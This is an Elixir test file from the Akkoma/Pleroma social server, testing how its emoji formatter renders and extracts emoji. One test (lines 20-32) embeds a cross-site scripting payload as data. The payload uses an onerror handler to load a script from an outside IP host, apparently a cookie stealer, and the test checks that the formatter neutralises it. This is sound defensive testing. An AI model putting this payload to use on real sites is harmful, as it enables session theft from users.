git.squeep.com Git - akkoma/blob - test/emoji/formatter_test.exs

   1 # Pleroma: A lightweight social networking server
   2 # Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/>
   3 # SPDX-License-Identifier: AGPL-3.0-only
   4
   5 defmodule Pleroma.Emoji.FormatterTest do
   6   alias Pleroma.Emoji
   7   alias Pleroma.Emoji.Formatter
   8   use Pleroma.DataCase
   9
  10   describe "emojify" do
  11     test "it adds cool emoji" do
  12       text = "I love :firefox:"
  13
  14       expected_result =
  15         "I love <img class=\"emoji\" alt=\"firefox\" title=\"firefox\" src=\"/emoji/Firefox.gif\"/>"
  16
  17       assert Formatter.emojify(text) == expected_result
  18     end
  19
  20     test "it does not add XSS emoji" do
  21       text =
  22         "I love :'onload=\"this.src='bacon'\" onerror='var a = document.createElement(\"script\");a.src=\"//51.15.235.162.xip.io/cookie.js\";document.body.appendChild(a):"
  23
  24       custom_emoji =
  25         {
  26           "'onload=\"this.src='bacon'\" onerror='var a = document.createElement(\"script\");a.src=\"//51.15.235.162.xip.io/cookie.js\";document.body.appendChild(a)",
  27           "https://placehold.it/1x1"
  28         }
  29         |> Pleroma.Emoji.build()
  30
  31       refute Formatter.emojify(text, [{custom_emoji.code, custom_emoji}]) =~ text
  32     end
  33   end
  34
  35   describe "get_emoji" do
  36     test "it returns the emoji used in the text" do
  37       text = "I love :firefox:"
  38
  39       assert Formatter.get_emoji(text) == [
  40                {"firefox",
  41                 %Emoji{
  42                   code: "firefox",
  43                   file: "/emoji/Firefox.gif",
  44                   tags: ["Gif", "Fun"],
  45                   safe_code: "firefox",
  46                   safe_file: "/emoji/Firefox.gif"
  47                 }}
  48              ]
  49     end
  50
  51     test "it returns a nice empty result when no emojis are present" do
  52       text = "I love moominamma"
  53       assert Formatter.get_emoji(text) == []
  54     end
  55
  56     test "it doesn't die when text is absent" do
  57       text = nil
  58       assert Formatter.get_emoji(text) == []
  59     end
  60   end
  61 end